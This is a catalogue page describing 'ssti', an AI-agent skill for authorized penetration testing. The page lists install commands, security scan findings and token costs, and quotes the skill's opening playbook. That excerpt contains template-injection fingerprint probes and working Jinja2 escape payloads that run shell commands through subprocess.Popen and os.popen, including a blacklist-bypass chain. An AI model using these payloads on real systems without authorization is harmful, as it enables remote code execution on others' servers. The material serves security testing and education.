PentesterFlow is a terminal-based AI assistant for authorized penetration testing and bug hunting, guiding analysts through reconnaissance, testing, evidence gathering, and reporting while requiring human approval for sensitive actions. Security engineers use it with local or hosted language models and real security tools, and the catalogue add-ons extend its workflows.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PentesterFlow/agent --skill sstigit clone --depth 1 https://github.com/PentesterFlow/agentWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/pentesterflow/agent/ssti)<a href="https://agentmods.dev/skills/pentesterflow/agent/ssti"><img src="https://agentmods.dev/badge/skills/pentesterflow/agent/ssti/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/pentesterflow/agent/ssti"><img src="https://agentmods.dev/badge/skills/pentesterflow/agent/ssti.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to critical
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- critical YARA Match · line 108 YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).Fix: Remove the webshell code immediately. Webshells provide unauthorized remote command execution. Audit the skill for additional backdoors or persistence mechanisms.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00099 | $0.01454 |
| Opus 5.5 | $0.00040 | $0.00582 |
| Sonnet 5.5 | $0.00020 | $0.00291 |
| Haiku 4.5 | $0.00010 | $0.00145 |
Grade A, and why
ssti scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
Execution rule: send probes to the real reflected parameter or template sink before escalating. Never write literal placeholder values to files; if the sink is unknown, first discover it with `http`/curl. Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
Find an index where the subclass is `<class 'subprocess.Popen'>` (commonly 200–400). Then: How it starts
The opening of the file, as written. The whole thing — 164 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SSTI playbook
You suspect user input is concatenated into a server-side template. The classic tell: {{7*7}} renders as 49 (not as the literal). But that's only the start — to file a real bug you must identify the engine, then prove RCE or read sensitive state.
Execution rule: send probes to the real reflected parameter or template sink before escalating. Never write literal placeholder values to files; if the sink is unknown, first discover it with http/curl.
1. Fingerprint the engine — fast
Use read_payloads(skill="ssti", file="fingerprint-polyglot.txt") for the canonical multi-engine probe:
${7*7}
{{7*7}}
<%= 7*7 %>
*{7*7}
{{7*'7'}}
Cross-reference results:
| Render result | Engine |
|---|---|
49 from {{7*7}} AND 7777777 from {{7*'7'}} |
Jinja2 (Python) |
49 from {{7*7}} AND 49 from {{7*'7'}} |
Twig (PHP) |
49 from ${7*7} |
Velocity / Freemarker / Mako (probe further) |
49 from <%= 7*7 %> |
ERB (Ruby) / EJS (Node) |
49 from *{7*7} |
Smarty |
Output of {{7*7}} literally |
Not an SSTI primitive — look elsewhere |
Distinguish Velocity from Freemarker: ${"foo".getClass()} returns class java.lang.String for both; Freemarker chokes on <#assign> outside a template block; Velocity specifically renders #set($x=7*7)$x as 49.
2. Engine-specific exploitation
Jinja2 (Python, Flask)
{{ ''.__class__.__mro__[1].__subclasses__() }}
Find an index where the subclass is <class 'subprocess.Popen'> (commonly 200–400). Then:
{{ ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate() }}
Bypass blacklists with attribute proxies:
{{request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')()}}
Payloads: read_payloads(skill="ssti", file="jinja2.txt").
Twig (PHP, Symfony)
Twig blocks most function access. Two proven escapes:
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 3mo ago First seen · 164 lines · 99 tokens per session scan A 38c951542aec
ssti is a skill published in the GitHub repository PentesterFlow/agent (1,470 stars, last pushed 3mo ago), licensed Apache-2.0. It adds 99 tokens to every session and 1,454 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
ssti compared with skills from other repositories
| Mod | Type | Stars | Last push | Licence | Scan | Tokens | Works with |
|---|---|---|---|---|---|---|---|
| sstiPentesterFlow/agent | Skill | 1.5k | 3mo ago | Apache-2.0 | A | 99 | Claude Code |
| shannonKeygraphHQ/shannon | Skill | 52k | 4d ago | AGPL-3.0 | A | 51 | Claude Code |
| osint0dayInc/pwn | Skill | 102 | 3d ago | MIT | A | 21 | Claude Code |
| penetration-testing0dayInc/pwn | Skill | 102 | 3d ago | MIT | A | 26 | Claude Code |
| pwn-ai-agent-curriculum0dayInc/pwn | Skill | 102 | 3d ago | MIT | A | 23 | Claude Code |
| pwn-ai-agent-loop0dayInc/pwn | Skill | 102 | 3d ago | MIT | A | 20 | Claude Code |
| pwn-ai-agent-reward0dayInc/pwn | Skill | 102 | 3d ago | MIT | A | 21 | Claude Code |